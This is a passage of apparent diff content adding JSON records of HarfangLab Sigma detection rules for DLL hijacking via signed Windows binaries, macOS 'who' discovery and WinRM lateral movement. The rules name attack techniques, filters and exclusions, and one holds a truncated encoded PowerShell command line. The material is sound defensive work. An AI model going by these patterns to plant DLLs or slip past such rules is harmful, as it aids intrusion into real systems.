windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ATBroker.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\uxtheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9742d744-56b7-4e82-b4a6-5c27217bec3a",
+  "rule_name": "DLL Hijacking via ATBroker.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ATBroker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "974dd9cb-ae25-42fd-972c-3f04914794a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600625Z",
+  "creation_date": "2026-03-23T11:45:34.600629Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600636Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_verifiergui.yml",
+  "content": "title: DLL Hijacking via verifierg.exe\nid: 974dd9cb-ae25-42fd-972c-3f04914794a4\ndescription: |\n    Detects potential Windows DLL Hijacking via verifierg.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'verifiergui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\mfc42u.dll'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "974dd9cb-ae25-42fd-972c-3f04914794a4",
+  "rule_name": "DLL Hijacking via verifierg.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via verifierg.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9761fea2-6074-4aef-b841-6fe34bf9c564",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081015Z",
+  "creation_date": "2026-03-23T11:45:34.081017Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081021Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thehackernews.com/2023/05/n-korean-lazarus-group-targets.html",
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_w3wp.yml",
+  "content": "title: DLL Hijacking via w3wp.exe\nid: 9761fea2-6074-4aef-b841-6fe34bf9c564\ndescription: |\n    Detects potential Windows DLL Hijacking via w3wp.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://thehackernews.com/2023/05/n-korean-lazarus-group-targets.html\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/05/25\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'w3wp.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: 'msvcr100.dll'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9761fea2-6074-4aef-b841-6fe34bf9c564",
+  "rule_name": "DLL Hijacking via w3wp.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via w3wp.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-05-25",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "977590f0-1fe1-4403-aaa2-09929b3844b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627531Z",
+  "creation_date": "2026-03-23T11:45:34.627533Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627537Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1033/",
+    "https://attack.mitre.org/techniques/T1049/"
+  ],
+  "name": "t1033_who_macos.yml",
+  "content": "title: Current Logged In Users Discovered via Who\nid: 977590f0-1fe1-4403-aaa2-09929b3844b0\ndescription: |\n    Detects the execution of the who command.\n    Attackers may use it during the discovery phase of an attack to retrieve the list of users currently logged in.\n    It is recommended to investigate the parent process and other potential malicious actions taken by it.\nreferences:\n    - https://attack.mitre.org/techniques/T1033/\n    - https://attack.mitre.org/techniques/T1049/\ndate: 2022/11/14\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - attack.t1049\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/who'\n        ParentImage|contains: '?'\n\n    exclusion_image:\n        - ParentImage:\n            - '/Applications/DockWorks.app/Contents/Library/LoginItems/DockWorks_Process'\n            - '/Applications/NinjaRMMAgent/programfiles/ninjarmm-macagent'\n            - '/Library/ManageEngine/UEMS_Agent/bin/dcconfig'\n            - '/Library/ManageEngine/UEMS_Agent/bin/dcinventory'\n            - '/Library/ManageEngine/UEMS_Agent/bin/dcnotifyservice'\n            - '/usr/local/munki/Python.framework/Versions/*/Resources/Python.app/Contents/MacOS/Python'\n            - '/opt/homebrew/Cellar/oh-my-posh/*/bin/oh-my-posh'\n            - '/opt/homebrew/Library/Homebrew/vendor/*/bin/ruby'\n            - '/opt/homebrew/Cellar/zsh/*/bin/zsh'\n            - '/opt/fusioninventory-agent/bin/perl'\n            - '/Applications/Zscaler/Zscaler.app/Contents/PlugIns/ZscalerService'\n            - '/Applications/Zscaler/Zscaler.app/Contents/PlugIns/ZscalerTunnel'\n        - GrandparentImage:\n            - '/Applications/TeamViewerHost.app/Contents/MacOS/TeamViewerHost'\n            - '/Library/Application Support/AirWatch/hubd'\n            - '/Applications/OrbStack.app/Contents/Frameworks/OrbStack Helper.app/Contents/MacOS/OrbStack Helper'\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper (Renderer).app/Contents/MacOS/Code Helper (Renderer)'\n            - '/Applications/Visual Studio Code.app/Contents/MacOS/Electron'\n            - '/Users/*/Library/Application Support/Foxit Software/Continuous/Addon/Foxit PDF Reader/Applications/FoxitReaderUpdateService.app/Contents/MacOS/updater'\n            - '/Applications/Raycast.app/Contents/MacOS/Raycast'\n            - '/Applications/JetBrains Toolbox.app/Contents/MacOS/jetbrains-toolbox'\n            - '/Applications/TeamViewer.app/Contents/MacOS/TeamViewer'\n            - '/Users/*/Applications/DataGrip.app/Contents/MacOS/datagrip'\n            - '/Applications/Rider.app/Contents/MacOS/rider'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/startd'\n            - '/Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin)'\n            - '/Library/ManageEngine/UEMS_Agent/bin/dcconfig'\n\n    exclusion_commandline:\n        CommandLine: 'who -m'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '|/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper|'\n            - '|/Applications/Warp.app/Contents/MacOS/stable|'\n            - '|/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service'\n            - '|/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_installd'\n\n    exclusion_ocsinventory:\n        - ParentCommandLine: '/usr/bin/perl /Applications/OCSNG.app/Contents/Resources/ocsinventory-agent'\n        - GrandparentCommandLine: '/usr/bin/perl /Applications/OCSNG.app/Contents/Resources/ocsinventory-agent'\n\n    exclusion_glpi:\n        - ParentImage: '/Applications/GLPI-Agent/bin/perl'\n        - GrandparentImage: '/Applications/GLPI-Agent/bin/perl'\n\n    exclusion_jamf:\n        - ParentImage:\n            - '/usr/local/jamf/bin/jamf'\n            - '/Library/Application Support/JAMF/Remote Assist/jamfRemoteAssistConnector'\n        - GrandparentImage:\n            - '/usr/local/jamf/bin/jamf'\n            - '/Library/Application Support/JAMF/Remote Assist/jamfRemoteAssistConnector'\n\n    exclusion_eset:\n        CurrentDirectory: '/private/tmp/PKInstallSandbox.*/Scripts/com.eset.protection.*'\n\n    exclusion_teamviewer:\n        CurrentDirectory: '/Applications/TeamViewerHost.app/Contents/MacOS'\n\n    exclusion_zoom:\n        - ParentCommandLine|startswith: '/bin/bash /Library/InstallerSandboxes/.PKInstallSandboxManager/*activeSandbox/Scripts/us.zoom.pkg.videomeeting'\n        - GrandparentCommandLine|startswith: '/bin/bash /Library/InstallerSandboxes/.PKInstallSandboxManager/*.activeSandbox/Scripts/us.zoom.pkg.videomeeting.'\n        - CurrentDirectory|startswith: '/Library/InstallerSandboxes/.PKInstallSandboxManager/*.activeSandbox/Scripts/us.zoom.pkg.videomeeting'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "977590f0-1fe1-4403-aaa2-09929b3844b0",
+  "rule_name": "Current Logged In Users Discovered via Who",
+  "rule_description": "Detects the execution of the who command.\nAttackers may use it during the discovery phase of an attack to retrieve the list of users currently logged in.\nIt is recommended to investigate the parent process and other potential malicious actions taken by it.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1049"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9775a2f6-0523-4d7f-9270-ff581efbfee9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588908Z",
+  "creation_date": "2026-03-23T11:45:34.588912Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588919Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_keyscramblerlogon.yml",
+  "content": "title: DLL Hijacking via KeyScramblerLogon.exe\nid: 9775a2f6-0523-4d7f-9270-ff581efbfee9\ndescription: |\n    Detects potential Windows DLL Hijacking via KeyScramblerLogon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/10/11\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'KeyScramblerLogon.exe'\n        ImageLoaded|endswith: '\\KeyScramblerIE.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\KeyScrambler\\'\n            - '?:\\Program Files (x86)\\KeyScrambler\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\KeyScrambler\\'\n            - '?:\\Program Files (x86)\\KeyScrambler\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'QFX Software Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9775a2f6-0523-4d7f-9270-ff581efbfee9",
+  "rule_name": "DLL Hijacking via KeyScramblerLogon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via KeyScramblerLogon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-10-11",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "97766810-30db-4302-9d9a-ee68259b35ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076476Z",
+  "creation_date": "2026-03-23T11:45:34.076478Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076482Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement",
+    "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement",
+    "https://attack.mitre.org/techniques/T1021/006/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1021_006_winrm_process_execution.yml",
+  "content": "title: Suspicious Lateral Movement via WinRM\nid: 97766810-30db-4302-9d9a-ee68259b35ed\ndescription: |\n    Detects suspicious process being spawned via WinRM (child of winrshost).\n    Windows Remote Management is a common Windows service that is used by PowerShell Remoting.\n    This can be used by an attacker to move laterally within an organisation.\n    It is recommended to investigate the process created and check the network type authentication at the same time.\nreferences:\n    - https://www.ired.team/offensive-security/lateral-movement/t1028-winrm-for-lateral-movement\n    - https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement\n    - https://attack.mitre.org/techniques/T1021/006/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/06/16\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.006\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '?:\\Windows\\System32\\winrshost.exe'\n\n    exclusion_conhost:\n        Image: '?:\\Windows\\system32\\conhost.exe'\n\n    exclusion_ansible:\n        CommandLine:\n            # ansible.windows.win_shell module – Execute shell commands on target hosts\n            # https://docs.ansible.com/ansible/latest/collections/ansible/windows/win_shell_module.html\n            #- '?:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBhAFEAQgBtAEEAQwBBAEEASwBBAEEAawBBAEYAQQBBAFUAdwBCAFcAQQBHAFUAQQBjAGcAQgB6AEEARwBrAEEAYgB3AEIAdQBBAEYAUQBBAFkAUQBCAGkAQQBHAHcAQQBaAFEAQQB1AEEARgBBAEEAVQB3AEIAVwBBAEcAVQBBAGMAZwBCAHoAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEATABRAEIAcwBBAEgAUQBBAEkAQQBCAGIAQQBGAFkAQQBaAFEAQgB5AEEASABNAEEAYQBRAEIAdgBBAEcANABBAFgAUQBBAGkAQQBEAE0AQQBMAGcAQQB3AEEAQwBJAEEASwBRAEEAZwBBAEgAcwBBAEMAZwBBAG4AQQBIAHMAQQBJAGcAQgBtAEEARwBFAEEAYQBRAEIAcwBBAEcAVQBBAFoAQQBBAGkAQQBEAG8AQQBkAEEAQgB5AEEASABVAEEAWgBRAEEAcwBBAEMASQBBAGIAUQBCAHoAQQBHAGMAQQBJAGcAQQA2AEEAQwBJAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBnAEEASABJAEEAWgBRAEIAeABBAEgAVQBBAGEAUQBCAHkAQQBHAFUAQQBjAHcAQQBnAEEARgBBAEEAYgB3AEIAMwBBAEcAVQBBAGMAZwBCAFQAQQBHAGcAQQBaAFEAQgBzAEEARwB3AEEASQBBAEIAMgBBAEQATQBBAEwAZwBBAHcAQQBDAEEAQQBiAHcAQgB5AEEAQwBBAEEAYgBnAEIAbABBAEgAYwBBAFoAUQBCAHkAQQBDAEkAQQBmAFEAQQBuAEEAQQBvAEEAWgBRAEIANABBAEcAawBBAGQAQQBBAGcAQQBEAEUAQQBDAGcAQgA5AEEAQQBvAEEASgBBAEIAbABBAEgAZwBBAFoAUQBCAGoAQQBGADgAQQBkAHcAQgB5AEEARwBFAEEAYwBBAEIAdwBBAEcAVQBBAGMAZwBCAGYAQQBIAE0AQQBkAEEAQgB5AEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGEAUQBCAHUAQQBIAEEAQQBkAFEAQgAwAEEAQwBBAEEAZgBBAEEAZwBBAEUAOABBAGQAUQBCADAAQQBDADAAQQBVAHcAQgAwAEEASABJAEEAYQBRAEIAdQBBAEcAYwBBAEMAZwBBAGsAQQBIAE0AQQBjAEEAQgBzAEEARwBrAEEAZABBAEIAZgBBAEgAQQBBAFkAUQBCAHkAQQBIAFEAQQBjAHcAQQBnAEEARAAwAEEASQBBAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBGADgAQQBjAHcAQgAwAEEASABJAEEATABnAEIAVABBAEgAQQBBAGIAQQBCAHAAQQBIAFEAQQBLAEEAQgBBAEEAQwBnAEEASQBnAEIAZwBBAEQAQQBBAFkAQQBBAHcAQQBHAEEAQQBNAEEAQgBnAEEARABBAEEASQBnAEEAcABBAEMAdwBBAEkAQQBBAHkAQQBDAHcAQQBJAEEAQgBiAEEARgBNAEEAZABBAEIAeQBBAEcAawBBAGIAZwBCAG4AQQBGAE0AQQBjAEEAQgBzAEEARwBrAEEAZABBAEIAUABBAEgAQQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgB6AEEARgAwAEEATwBnAEEANgBBAEYASQBBAFoAUQBCAHQAQQBHADgAQQBkAGcAQgBsAEEARQBVAEEAYgBRAEIAdwBBAEgAUQBBAGUAUQBCAEYAQQBHADQAQQBkAEEAQgB5AEEARwBrAEEAWgBRAEIAegBBAEMAawBBAEMAZwBCAEoAQQBHAFkAQQBJAEEAQQBvAEEAQwAwAEEAYgBnAEIAdgBBAEgAUQBBAEkAQQBBAGsAQQBIAE0AQQBjAEEAQgBzAEEARwBrAEEAZABBAEIAZgBBAEgAQQBBAFkAUQBCAHkAQQBIAFEAQQBjAHcAQQB1AEEARQB3AEEAWgBRAEIAdQBBAEcAYwBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBsAEEASABFAEEASQBBAEEAeQBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBkAEEAQgBvAEEASABJAEEAYgB3AEIAMwBBAEMAQQBBAEkAZwBCAHAAQQBHADQAQQBkAGcAQgBoAEEARwB3AEEAYQBRAEIAawBBAEMAQQBBAGMAQQBCAGgAQQBIAGsAQQBiAEEAQgB2AEEARwBFAEEAWgBBAEEAaQBBAEMAQQBBAGYAUQBBAEsAQQBGAE0AQQBaAFEAQgAwAEEAQwAwAEEAVgBnAEIAaABBAEgASQBBAGEAUQBCAGgAQQBHAEkAQQBiAEEAQgBsAEEAQwBBAEEATABRAEIATwBBAEcARQBBAGIAUQBCAGwAQQBDAEEAQQBhAGcAQgB6AEEARwA4AEEAYgBnAEIAZgB